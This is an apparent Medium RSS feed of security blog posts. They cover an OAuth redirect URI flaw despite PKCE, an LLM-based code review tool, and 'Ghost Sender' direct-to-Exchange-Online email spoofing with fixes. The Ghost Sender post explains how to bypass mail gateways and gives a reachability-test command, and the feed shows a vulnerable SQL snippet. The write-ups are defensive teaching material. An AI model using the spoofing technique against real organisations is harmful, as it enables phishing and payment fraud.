<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sanaullah Aman Korai on Medium]]></title>
        <description><![CDATA[Stories by Sanaullah Aman Korai on Medium]]></description>
        <link>https://medium.com/@sanaullahamankorai?source=rss-6bfe7d35204------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*M5fH_JZQRbSqkkqmufZFBg.jpeg</url>
            <title>Stories by Sanaullah Aman Korai on Medium</title>
            <link>https://medium.com/@sanaullahamankorai?source=rss-6bfe7d35204------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 20:16:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sanaullahamankorai/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When PKCE Isn’t Enough: How an OAuth Redirect URI Flaw Can Lead to Account Takeover]]></title>
            <link>https://sanaullahamankorai.medium.com/when-pkce-isnt-enough-how-an-oauth-redirect-uri-flaw-can-lead-to-account-takeover-e81bf8f909c6?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/e81bf8f909c6</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[oauth]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 16:29:10 GMT</pubDate>
            <atom:updated>2026-10-19T16:29:10.970Z</atom:updated>
            <content:encoded><![CDATA[<p><em>PKCE protects authorization codes from interception. But what happens when an identity provider sends the code to the wrong destination?</em></p><p>PKCE is one of the most important security improvements to OAuth 2.0. It helps prevent attackers from stealing an authorization code and exchanging it for tokens, particularly in applications that cannot safely store a client secret.</p><p>But enabling PKCE does not automatically make an OAuth implementation secure.</p><p>During an authorized assessment of a banking identity platform built on Keycloak, I examined an OAuth/OIDC flow in which PKCE was enabled, but redirect URI validation was not sufficiently restrictive. Under the conditions observed, this weakness could allow an authorization code to be delivered to an untrusted destination after a user authenticated.</p><p>The interesting part was that PKCE itself was not the problem. The failure was in another part of the authorization flow.</p><p>Let’s look at why this matters and what developers should check.</p><h3>1. A quick refresher on OAuth and PKCE</h3><p>OAuth 2.0 allows an application to obtain access to protected resources without collecting the user’s password directly. OpenID Connect (OIDC) extends OAuth with an identity layer, allowing applications to authenticate users and receive information about their identity.</p><p>In a typical authorization code flow, the user is redirected to an identity provider, signs in, and is then redirected back to the client application with an authorization code. The client exchanges that code for tokens, which can be used to access authorized resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*hvjApVjqy5McYTlU8wp3gw.png" /><figcaption><em>Figure 1: A simplified authorization code flow involving the browser, client application, identity provider, and resource server.</em></figcaption></figure><p>PKCE, defined in <a href="https://www.rfc-editor.org/rfc/rfc7636">RFC 7636</a>, adds a verification step to the code exchange.</p><p>The client generates a random value called a code_verifier. It derives a code_challenge from that value and includes the challenge in the initial authorization request.</p><p>Later, when exchanging the authorization code for tokens, the client provides the original verifier. The authorization server checks that it matches the challenge associated with the code.</p><p>If someone intercepts the authorization code but does not have the matching verifier, they should not be able to redeem it.</p><p>That is the purpose of PKCE.</p><p>However, PKCE does not decide whether the requested redirect destination is trustworthy. The authorization server must enforce that separately by validating the redirect_uri.</p><p>These controls solve different problems, and both need to work correctly.</p><h3>2. Where the problem starts</h3><p>Consider what happens when an attacker can influence the redirect URI in an authorization request.</p><p>An attacker can generate their own PKCE verifier and challenge before creating the request. If the identity provider accepts an unauthorized redirect destination, it may send the authorization code to that destination after the user successfully authenticates.</p><p>The attacker already knows the verifier because they generated it themselves.</p><p>This is an important distinction: the attacker does not need to steal the victim’s verifier. They initiated the authorization request and supplied the challenge associated with their own verifier.</p><p>If the authorization server accepts the redirect URI and the remaining checks permit the exchange, the attacker may be able to redeem the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*GLXAz3kOLjKUgEPFgJmhKw.png" /><figcaption><em>Figure 2: An illustrative attack flow. The identity provider accepts an untrusted redirect destination, potentially exposing the authorization code.</em></figcaption></figure><p>The victim’s login may be entirely legitimate. Their password and one-time password can be correct, and the identity provider can authenticate them successfully.</p><p>The failure occurs when the authorization server sends the authorization response to a destination that should not have been allowed.</p><p>This is why an OAuth implementation can use PKCE correctly and still have a serious authorization-flow vulnerability.</p><h3>3. Why redirect URI validation matters</h3><p>OAuth clients register redirect URIs with the identity provider. During authorization, the requested redirect URI must be validated against the client’s registered configuration and the applicable protocol requirements.</p><p>Problems can arise when validation rules are too broad, such as unsafe wildcard configurations or matching logic that accepts destinations outside the intended trust boundary.</p><p>For example, a team might believe that allowing a broad range of subdomains is convenient. But if an attacker can control one of those subdomains, or otherwise make an unauthorized destination satisfy the validation rule, the configuration may expose the authorization response.</p><p>The presence of a wildcard does not automatically make an implementation vulnerable. The actual risk depends on the matching rules, which destinations are trusted, and whether an attacker can control or exploit an accepted destination.</p><p>The key question is simple:</p><p><strong>Can an authorization request direct the response to a destination that the client and identity provider should not trust?</strong></p><p>If the answer is yes, the flow needs further investigation.</p><h3>4. A simple example of the validation principle</h3><p>The following Python example illustrates the basic idea of an explicit redirect URI allowlist. It is a teaching example, not a replacement for the identity provider’s built-in validation.</p><pre>REGISTERED_REDIRECT_URIS = {<br>    &quot;https://app.example.test/oauth/callback&quot;<br>}</pre><pre>def is_allowed_redirect_uri(redirect_uri: str) -&gt; bool:<br>    return redirect_uri in REGISTERED_REDIRECT_URIS</pre><p>In a real implementation, redirect URI validation should follow the applicable OAuth/OIDC requirements and the identity provider’s supported configuration. Teams should not replace built-in validation with an improvised check without reviewing the protocol requirements.</p><p>The broader principle is that authorization responses should only be sent to destinations that have been explicitly approved for the requesting client.</p><h3>5. What about permissive CORS?</h3><p>Redirect URI validation is not the only control worth reviewing.</p><p>Cross-Origin Resource Sharing (CORS) determines whether browser-based JavaScript from one origin can read responses from another origin. If an identity provider’s token endpoint has an overly permissive CORS policy, that can introduce additional risk for browser-based clients.</p><p>For example, a policy that reflects arbitrary origins may allow websites that should not be trusted to read certain responses, depending on the endpoint’s configuration and the browser’s security rules.</p><p>CORS should be assessed separately from redirect URI validation. A permissive CORS policy does not, by itself, prove account takeover, and it is not always necessary for an attacker to redeem a code outside the browser.</p><p>The impact depends on the complete flow, including the endpoint’s requirements, browser behavior, token handling, and client configuration.</p><p>For that reason, it is better to document CORS as a separate finding or contributing weakness when the evidence supports it, rather than treating it as the root cause of every OAuth redirect vulnerability.</p><h3>6. Short-lived authorization codes are not a complete fix</h3><p>Authorization codes are designed to expire quickly and be used only once. Both controls reduce the opportunity for an attacker to reuse an intercepted code.</p><p>But they do not fix an unsafe redirect URI configuration.</p><p>If a code reaches an untrusted destination and an attacker has the matching PKCE verifier, an automated exchange may be possible within the code’s validity period, subject to the server’s other checks.</p><p>Short expiration times and single-use enforcement are useful layers of defense. They should not be treated as substitutes for validating the redirect URI.</p><h3>7. What the secure flow should look like</h3><p>The authorization server should reject an authorization request when its redirect URI is not permitted for the requesting client.</p><p>That decision must happen before the server issues an authorization response. An unapproved destination should not receive an authorization code.</p><p>PKCE should remain enabled. The goal is to combine it with proper redirect URI validation, appropriate token endpoint protections, and secure client configuration.</p><p>A useful review should cover the entire authorization flow, not just whether a particular security feature is switched on.</p><h3>8. What I would check during an OAuth assessment</h3><p>When assessing an OAuth/OIDC deployment, I would review the following areas:</p><ul><li><strong>Registered redirect URIs:</strong> Remove unused entries and avoid unnecessarily broad matching rules.</li><li><strong>Redirect validation:</strong> Confirm that unauthorized destinations are rejected and that validation follows the relevant protocol requirements.</li><li><strong>PKCE enforcement:</strong> Confirm that the authorization server requires and verifies the correct code_verifier, using S256 where appropriate.</li><li><strong>Authorization code handling:</strong> Check that codes are short-lived, bound to the appropriate client and redirect URI, and accepted only once.</li><li><strong>CORS policy:</strong> Verify that only the necessary origins are allowed and that arbitrary origins are not reflected without justification.</li><li><strong>Token scope and audience:</strong> Ensure that tokens grant only the intended permissions and are accepted only by their intended resource servers.</li><li><strong>Impact verification:</strong> In an authorized test environment, determine whether the weakness exposes an authorization code, allows token issuance, or provides access to protected resources. These are distinct stages and should be reported accurately.</li></ul><p>This last point is especially important. Observing a suspicious redirect is not the same as demonstrating token theft, and obtaining a token is not automatically proof of access to every part of an account.</p><p>Good security reporting separates what was observed from what was demonstrated.</p><h3>The takeaway</h3><p>The lesson from this assessment is not that PKCE is ineffective. It is that PKCE was never designed to replace redirect URI validation.</p><p>PKCE helps ensure that the party redeeming an authorization code possesses the corresponding verifier. Redirect URI validation helps ensure that the authorization response goes to an approved destination.</p><p>Both controls are necessary for a secure authorization flow.</p><p>If you maintain an OAuth/OIDC deployment, do not stop your review after confirming that PKCE is enabled. Check the redirect URI rules, inspect the token endpoint’s configuration, and verify what happens when an authorization request contains an unapproved destination.</p><p>Security comes from the controls working together, not from the presence of any single feature.</p><h3>References</h3><ul><li><a href="https://www.rfc-editor.org/rfc/rfc7636">RFC 7636 — Proof Key for Code Exchange by OAuth Public Clients</a></li><li><a href="https://www.rfc-editor.org/rfc/rfc9700">RFC 9700 — Best Current Practice for OAuth 2.0 Security</a></li><li><a href="https://openid.net/specs/openid-connect-core-1_0.html">OpenID Connect Core 1.0</a></li><li><a href="https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html">OWASP OAuth 2.0 Cheat Sheet</a></li><li><a href="https://www.keycloak.org/documentation">Keycloak Documentation</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e81bf8f909c6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Built an AI-Powered Security Code Review Tool]]></title>
            <link>https://sanaullahamankorai.medium.com/i-built-an-ai-powered-security-code-review-tool-6cdc5ad2c105?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cdc5ad2c105</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[open-source]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 00:41:35 GMT</pubDate>
            <atom:updated>2026-07-25T00:41:35.075Z</atom:updated>
            <content:encoded><![CDATA[<h3>I Built an AI-Powered Security Code Review Tool. Here’s What I Learned.</h3><p>I review a lot of code. As an application security engineer, I spend hours reading other people’s pull requests looking for SQL injection, broken auth, path traversal — the usual suspects. After doing this for three years across 70+ engagements, I started wondering: can I offload the first pass to an LLM?</p><p>Not replace the human review. Just triage. Let AI flag the obvious stuff so I can focus on the tricky business logic bugs that actually need a human brain.</p><p>So I built something. It’s called ai-sec-review, and it does two things: security code review and STRIDE threat modeling, both powered by LLM APIs. It&#39;s open source, it took about a weekend to get working, and here&#39;s how it came together.</p><h4>The Core Idea</h4><p>The problem with asking ChatGPT or Claude “is this code secure?” is that you get a wall of text back. Sometimes it hallucinates bugs that don’t exist. Sometimes it misses the obvious SQL injection sitting right there. And the output format is never consistent — one time you get bullet points, next time a paragraph, next time a table.</p><p>What I needed was <strong>structured output</strong>. Same JSON schema every time. Validated. Machine-readable.</p><p>Anthropic’s API has a feature called <strong>tool use</strong> where you define a schema and the model is forced to return data matching it. No regex parsing. No “please format your response as JSON.” The model calls your tool with validated JSON, or it fails.</p><p>That was the foundation.</p><h4>How It Works</h4><p>The architecture is dead simple:</p><ol><li><strong>Scanner</strong> — walks your directory, finds code files, detects the language by extension, reads the content (with smart truncation for files over 600 lines so you don’t burn tokens)</li><li><strong>Reviewer</strong> — takes that code, wraps it in a security-focused system prompt, and sends it to the LLM with a tool schema defining exactly what a vulnerability finding looks like (title, severity, CWE ID, location, description, impact, remediation, code snippet)</li><li><strong>Threat Modeler</strong> — same pattern but for architecture descriptions. You describe your system (“React frontend, Express API, PostgreSQL, JWT auth, on AWS”) and it returns a full STRIDE model with trust boundaries, categorized threats, and mitigations</li><li><strong>Reporter</strong> — formats the structured output as colored terminal output, JSON (for CI/CD), or Markdown (for reports)</li></ol><p>The whole thing is about 800 lines of Python. No external dependencies beyond the standard library — I used urllib to call the API directly instead of the Anthropic SDK, which keeps it portable.</p><h4>The Tool Schema Is Everything</h4><p>This was the hardest part to get right. The tool schema defines your output contract. Too loose and the model rambles. Too strict and it finds nothing.</p><p>Here’s what I landed on for each finding:</p><pre>{<br>  &quot;title&quot;: &quot;SQL Injection in Login Endpoint&quot;,<br>  &quot;severity&quot;: &quot;CRITICAL&quot;,<br>  &quot;cwe_id&quot;: &quot;CWE-89&quot;,<br>  &quot;vuln_class&quot;: &quot;SQLi&quot;,<br>  &quot;location&quot;: &quot;app.py, line 9&quot;,<br>  &quot;description&quot;: &quot;User input interpolated directly into SQL query...&quot;,<br>  &quot;impact&quot;: &quot;Attacker can bypass auth and exfiltrate database...&quot;,<br>  &quot;remediation&quot;: &quot;Use parameterized queries: cursor.execute(\&quot;...\&quot;, (user, pass))&quot;,<br>  &quot;code_snippet&quot;: &quot;query = f\&quot;SELECT * FROM users WHERE pass=&#39;{pw}&#39;\&quot;&quot;<br>}</pre><p>The key design decision: <strong>required fields</strong>. I made title, severity, description, and remediation required. cwe_id, location, impact, and code_snippet are optional. This means the model always gives you something actionable, but it can skip the optional fields if it&#39;s not confident — which reduces hallucination.</p><h4>Testing It on Real Code</h4><p>I tested it on a deliberately vulnerable Flask app. Four endpoints, three vulnerability classes:</p><ul><li>SQL injection in the login route (user input → f-string → raw SQL)</li><li>Broken access control (plaintext cookie for role check)</li><li>Debug mode enabled in production (Werkzeug console → potential RCE)</li><li>Plaintext password storage</li><li>GET parameters for credentials</li><li>Raw database rows exposed in responses</li></ul><p>The tool found <strong>all six</strong>. More importantly, it didn’t fabricate anything. Each finding had a specific line reference, a working exploit description, and a code-level fix.</p><p>When I pointed it at a clean codebase, it returned zero findings. No hallucination. That’s the behavior you want in CI/CD — you can’t have false positives blocking builds.</p><h4>The Threat Model Surprised Me</h4><p>I added threat modeling as an afterthought. You pass in a system description and it generates a STRIDE model. I didn’t expect it to be that useful.</p><p>Then I tested it with: <em>“Simple web app: React frontend, Express.js API backend, PostgreSQL database. JWT auth. AWS EC2 behind ALB.”</em></p><p>It returned <strong>23 threats</strong> across all six STRIDE categories, identified 6 trust boundaries, and prioritized everything by likelihood and impact. It caught things I’d expect a senior architect to flag — JWT algorithm confusion, ALB host header spoofing, EC2 metadata service exposure — all from a two-sentence description.</p><p>Is it a replacement for a proper threat modeling session with the engineering team? No. But as a starting point before that meeting? It’s surprisingly good.</p><h4>What I’d Do Differently</h4><ol><li><strong>Token costs</strong> — Reviewing a directory of 20 files can burn $2–5 in API credits depending on the model. For personal use that’s fine. For CI/CD on every PR, you’d want to cache results, skip unchanged files, and use a cheaper model for the first pass.</li><li><strong>Language coverage</strong> — It detects 20+ languages by extension, but the review quality varies. The model understands Python, JavaScript, and Java really well. Rust and Solidity? Less so. Language-specific fine-tuning would help.</li><li><strong>False negatives</strong> — It misses things a SAST tool catches. Race conditions, crypto weaknesses, and subtle business logic flaws still need a human. This tool augments manual review — it doesn’t replace it.</li><li><strong>Thinking mode</strong> — DeepSeek’s API has a “thinking” mode that burns extra tokens before calling the tool. The output is better but slower. I added a higher token limit to accommodate it, but there’s a tradeoff between depth and cost.</li></ol><h4>Try It Yourself</h4><p>The repo is at <a href="https://github.com/NagiSheshero7/ai-sec-review"><strong>github.com/NagiSheshero7/ai-sec-review</strong></a>. Installation is:</p><pre>git clone https://github.com/NagiSheshero7/ai-sec-review.git<br>cd ai-sec-review<br>pip install -e .</pre><p>Set your API key and run:</p><pre># Review a single file<br>ai-sec-review scan app.py<br><br># Review a whole project<br>ai-sec-review scan ./src --output markdown --output-file report.md<br><br># Generate a threat model<br>ai-sec-review threat-model &quot;Describe your system here&quot; --output json</pre><p>Works with Anthropic, DeepSeek, or any Anthropic-compatible endpoint.</p><p>If you’re doing AppSec work and spending hours on repetitive code review, give it a shot. It won’t replace your judgment, but it’ll save you from staring at yet another unsanitized f-string at 11pm.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cdc5ad2c105" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ghost Sender: Why Your Email Gateway Isn’t Protecting Exchange Online]]></title>
            <link>https://sanaullahamankorai.medium.com/ghost-sender-why-your-email-gateway-isnt-protecting-exchange-online-671cbe8cb177?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/671cbe8cb177</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[email-security]]></category>
            <category><![CDATA[microsoft-365]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[exchange-online]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Wed, 10 Jun 2026 17:53:01 GMT</pubDate>
            <atom:updated>2026-06-10T17:53:01.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bTSI_dOmFYjpgBHj" /></figure><p>Let’s be real: when I first heard about Ghost Sender, I thought, “There’s no way this works. SPF, DKIM, and DMARC would catch it.”</p><p>Spoiler alert: they don’t.</p><p>Fast-forward to today — after building a proof of concept, testing it against my own lab, and watching a spoofed email land cleanly in an inbox with zero warnings — I figured it’s time to break this down properly.</p><p>If your organisation uses Microsoft Exchange Online behind a third-party gateway, this is for you. Here’s what I learned, how to test it, and how to close the gap before someone else finds it first.</p><h4>What Even Is Ghost Sender?</h4><p>You might’ve seen this pop up in security circles recently. To keep it simple:</p><p><strong>Ghost Sender</strong> = sending email directly to Microsoft Exchange Online, bypassing your MX gateway entirely.</p><p>Think of yourself as a mail carrier who ignores the front gate and walks straight through the back door — which was left unlocked by default. Your job is to understand why that back door exists, and how to lock it.</p><p>Here’s the problem in one sentence: <strong>Microsoft</strong> <strong>Exchange Online trusts inbound SMTP connections by default when your MX points somewhere else.</strong> It assumes the gateway already checked everything — so it doesn’t check anything itself.</p><p>An attacker picks a domain. Resolves the Microsoft Exchange Online tenant address. Opens a raw SMTP connection. Sends a spoofed email from your CEO to your finance team. No gateway. No DLP. No sandbox. No SPF check. No DKIM check. No DMARC enforcement. No “[EXTERNAL]” banner.</p><p>Just a clean email sitting in the inbox like it belongs there.</p><h4>How This Was Discovered</h4><p>During a routine engagement, the InfoGuard Labs team tried something curious: they bypassed the customer’s MX gateway and delivered mail straight to Microsoft Exchange Online’s SMTP endpoint.</p><p>It worked. The email was accepted. No authentication challenge. No spam quarantine. Straight to the inbox.</p><p>The email headers told an alarming story:</p><pre>Authentication-Results: spf=fail (sender IP is redacted)<br> smtp.mailfrom=microsoft.com; dkim=none (message not signed)<br> header.d=none;dmarc=fail action=oreject<br> header.from=microsoft.com;compauth=none reason=451<br><br>Received-SPF: Fail (protection.outlook.com: domain of microsoft.com<br> does not designate redacted as permitted sender)</pre><p>Three things stand out immediately:</p><ul><li><strong>SPF:</strong> Hard fail — ignored</li><li><strong>DKIM:</strong> Absent — not required</li><li><strong>DMARC:</strong> action=oreject — delivered anyway</li></ul><p>Every authentication mechanism correctly identified the message as fraudulent. Microsoft Exchange Online saw those results. And delivered it regardless.</p><p>This is not a zero-day. This is not a patchable CVE. This is the <em>default architectural behaviour</em> of Microsoft Exchange Online when fronted by an external MX.</p><h4>Stuff I Wish People Knew About This Misconfiguration</h4><h4>1. It’s the Default — Not an Edge Case</h4><p>I used to think this only affected poorly configured tenants. Nope. This is how Microsoft Exchange Online behaves out of the box when your MX points to a third-party filter. If you added an external MX and stopped there, you are exposed. You have been since day one.</p><p><strong>Lesson:</strong> Adding an external MX is step one. Locking down direct tenant delivery is step two. Most orgs never do step two.</p><h4>2. SPF, DKIM, and DMARC Won’t Save You</h4><p>I ran the test myself. SPF hard fail. DKIM absent. DMARC p=reject. The email landed in the inbox with the sender’s profile photo resolved.</p><p>The “Honor DMARC” setting in anti-phishing policies? It’s evaluated <em>after</em> the message is accepted. By the time the policy runs, the email is already queued for delivery. It never gets a vote.</p><p><strong>Lesson:</strong> Your email authentication stack protects the path through your gateway. It does not protect the direct path to Microsoft Exchange Online. Those are two different paths. You probably only secured one.</p><h4>3. The Connector Name Is Misleading</h4><p>Microsoft Exchange Admin Center offers a connector type called <strong>“Your organisation’s email server.”</strong> Sounds like what you want, right? It’s not.</p><p>That connector trusts the connection for header stamping. It does <em>not</em> enforce rejection of unauthenticated senders having same header stamping. Even with Enhanced Filtering enabled, the gap remains.</p><p><strong>Lesson:</strong> Names lie. “Your organisation’s email server” means “I trust this server to stamp headers.” It does not mean “I reject mail that didn’t come from this server.” Those are different things.</p><h4>4. Your Gateway Provider Probably Didn’t Mention This</h4><p>Forcepoint, Proofpoint, Mimecast — their setup guides walk you through changing your MX record. They don’t always walk you through locking down direct delivery to Microsoft Exchange Online. Some mention it in an appendix. Most don’t mention it at all.</p><p><strong>Lesson:</strong> The gap exists between your gateway’s documentation and Microsoft’s. Neither vendor owns the full configuration. You do.</p><h4>The Six Configurations — Tested and Ranked</h4><p>InfoGuard tested every common setup. Here’s what survived and what didn’t.</p><p><strong>🔴 External MX, no connector or transport rule</strong><br> The default state. No connector. No transport rule. Nothing stops direct delivery. This is most organisations architecture.</p><p><strong>🔴 “Your organisation’s email server” connector (± Enhanced Filtering)</strong><br> Trusts, but does not verify. The connector stamps headers. It doesn’t reject unauthenticated senders.</p><p><strong>🔴 Anti-phishing / anti-spam policies alone</strong><br> Policies are evaluated after acceptance. They can’t reject what’s already been accepted.</p><p><strong>🟢 MX pointing to Microsoft Exchange Online Protection</strong><br> Mail traverses EOP filtering. Standard and secure. This is the design Microsoft intended.</p><p><strong>🟢 Partner Organization connector restricted by IP</strong><br> Microsoft’s recommended fix. Scoped to your gateway IPs. Rejects everything else at the connection level.</p><p><strong>🟢 Transport rule at priority 0</strong><br> Microsoft’s alternative fix. Evaluates before connectors and content filters. Rejects non-gateway IPs with 5.7.1.</p><blockquote>Only two configurations close the gap — a Partner Organization connector scoped to your gateway’s IPs, or a priority-0 transport rule that rejects everything else. <strong>Neither is configured by default.</strong></blockquote><h4>Building the PoC — What the Tools Don’t Tell You</h4><p>InfoGuard published a PowerShell one-liner and a web tool. But for Linux environments — or for anyone wanting to test at scale — there was nothing. So I built one.</p><p>The challenges came fast.</p><p><strong>Clean IPs are scarce.</strong> Most residential IPs are on the Spamhaus PBL, which blocks outbound SMTP. My first test from the lab was rejected instantly. Free SOCKS5 proxies? All blocklisted. Oracle Cloud free tier? SMTP filtered at the network level — TCP connects, TLS never completes. AWS EC2 worked, but requiring AWS defeats the purpose of a quick verification tool.</p><p><strong>What shipped:</strong></p><ul><li>A <strong>shell one-liner</strong> — paste it, run it, know in 30 seconds if your tenant is reachable</li><li>A <strong>Python mail server</strong> — web dashboard, CC/BCC support, custom headers, JSON API for scripting</li></ul><p>Both on GitHub. Link at the bottom.</p><h4>What Gets Bypassed — The Full Kill Chain</h4><p>Every layer. Every vendor. Every configuration you spent months tuning.</p><p><strong>MX Gateway</strong> — Forcepoint, Proofpoint, Mimecast. The email never touches it.</p><p><strong>DLP Policies</strong> — Keyword matching, regex, exact data match. Never evaluated. The gateway never sees the message or email headers.</p><p><strong>Content Filtering</strong> — Phishing templates, impersonation detection. No scanning engine runs.</p><p><strong>Attachment Sandboxing</strong> — The malware detonation chamber never receives the file. A weaponized PDF lands directly in the user’s mailbox.</p><p><strong>URL Rewriting &amp; Link Protection</strong> — Links are not wrapped, not rewritten, not scanned at time-of-click. A credential harvesting link renders exactly as the attacker typed it.</p><p><strong>SPF (hard fail, -all)</strong> — Received-SPF: Fail is stamped and ignored.</p><p><strong>DKIM</strong> — dkim=none is logged. No signature required.</p><p><strong>DMARC (p=reject)</strong> — dmarc=fail action=oreject is discarded. The message proceeds to delivery.</p><p><strong>External Sender Banner</strong> — Not applied. The message appears internal. No “[EXTERNAL]” tag. The recipient’s scepticism — your last line of defence — is disarmed.</p><blockquote>Every control you configured. Every policy you tuned. Every vendor you pay. One SMTP connection and all of it becomes ornamental.</blockquote><h4>The 30-Second Test</h4><p>Run these two commands against a domain you own or are authorised to test:</p><p><strong>Step 1 — Is your MX external?</strong></p><pre>dig +short MX your-domain.com</pre><p>If the answer contains anything other than *.mail.protection.outlook.com, you have an external gateway. Continue.</p><p><strong>Step 2 — Can Exchange Online be reached directly?</strong></p><pre>echo &quot;QUIT&quot; | openssl s_client -connect \<br>  $(echo your-domain.com | tr &#39;.&#39; &#39;-&#39;).mail.protection.outlook.com:25 \<br>  -starttls smtp -crlf -quiet 2&gt;/dev/null | head -1</pre><p>If you see 220 ... Microsoft ESMTP MAIL Service ready and you haven&#39;t configured a Partner Organization connector or priority-0 transport rule — <strong>your tenant is accepting unauthenticated mail from anyone on the internet.</strong></p><h4>The Fix — Pick One</h4><p>All three are done in Exchange Admin Center. You only need <strong>one.</strong></p><p><strong>Option A — Partner Organization Connector</strong></p><p>Microsoft’s primary recommendation. The cleanest fix.</p><p>Navigate to <strong>Mail Flow → Connectors → Add a connector</strong> and set:</p><pre>Connection from:     Partner organization<br>Identify by:         Sender&#39;s IP address<br>IP ranges:           [your gateway IPs — nothing else]<br>Security:            Reject email if not sent from within this IP range</pre><p><strong>Option B — Priority-0 Transport Rule</strong></p><p>Equivalent effect, different mechanism. Catches what connectors might miss.</p><p>Navigate to <strong>Mail Flow → Rules → New rule</strong> and set:</p><pre>Priority:            0<br>Apply if:            Sender is outside the organization<br>                     AND sender IP is NOT in [your gateway IP ranges]<br>Do this:             Reject the message (5.7.1)</pre><p>⚠️ Keep the IP allowlist updated. If your gateway provider rotates IPs, the rule must follow.</p><p><strong>Option C — Remove the External MX</strong></p><p>Point your MX directly to Exchange Online Protection:</p><pre>MX:  yourdomain-com.mail.protection.outlook.com</pre><p>If the gateway must stay for outbound or journaling, enable Enhanced Filtering for connectors — but the MX should point to Microsoft.</p><p>Re-run the test after applying any of these. The response should be a flat rejection. No banner. No greeting. No path to the inbox.</p><h4>Quick Advice If You’re Responsible for This</h4><ul><li><strong>Test first, panic second.</strong> Run the 30-second check before you raise alarms. Knowing is better than assuming.</li><li><strong>One fix is enough.</strong> You don’t need all three. Pick the one that fits your architecture and implement it today.</li><li><strong>This has been the default for years.</strong> If you added an external MX and stopped there, you’ve been exposed since that day. Don’t dwell on it — fix it.</li><li><strong>Monitoring won’t catch this.</strong> The spoofed email generates no alerts. It doesn’t match DLP rules. It doesn’t trigger SIEM correlations. It looks like legitimate internal mail in every log and dashboard. You can’t detect what you don’t inspect — and right now, this path isn’t being inspected.</li><li><strong>User training is bypassed too.</strong> Phishing awareness teaches users to look for the “[EXTERNAL]” tag. Ghost Sender removes it. The email looks exactly like every other internal message they receive all day. The human firewall is disarmed.</li></ul><blockquote>Bottom line: If you have an external MX and you haven’t locked down direct tenant delivery, stop reading and go fix it. This article will still be here when you get back.</blockquote><h4>References</h4><ul><li><a href="https://labs.infoguard.ch/posts/ghost-sender/">InfoGuard Labs — Ghost Sender: The Undead Threat to Exchange Online</a></li><li><a href="https://techcommunity.microsoft.com/blog/exchange/direct-send-vs-sending-directly-to-an-exchange-online-tenant/4439865">Microsoft — Direct Send vs Sending Directly to an Exchange Online Tenant</a></li><li>PoC tools — <a href="https://github.com/Sanaullah-Korai/ghost-sender">GitHub</a></li></ul><p><em>This article is for educational and defensive purposes. Test only against systems you own or have explicit written authorisation to assess.</em></p><p>Got questions? Drop a comment or DM me.</p><p>Found this useful? Share it with your security team — they’ll want to know about this one.</p><p>#CyberSecurity #ExchangeOnline #EmailSecurity #BugBounty #InfoSec #Microsoft365 #Phishing #PenetrationTesting</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=671cbe8cb177" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path Traversal Vulnerability in Go: From Source Code Review to Exploitation]]></title>
            <link>https://sanaullahamankorai.medium.com/path-traversal-vulnerability-in-go-from-source-code-review-to-exploitation-692ae3c3a2d7?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/692ae3c3a2d7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[go-programming]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Sat, 04 Apr 2026 18:47:27 GMT</pubDate>
            <atom:updated>2026-04-04T18:47:27.693Z</atom:updated>
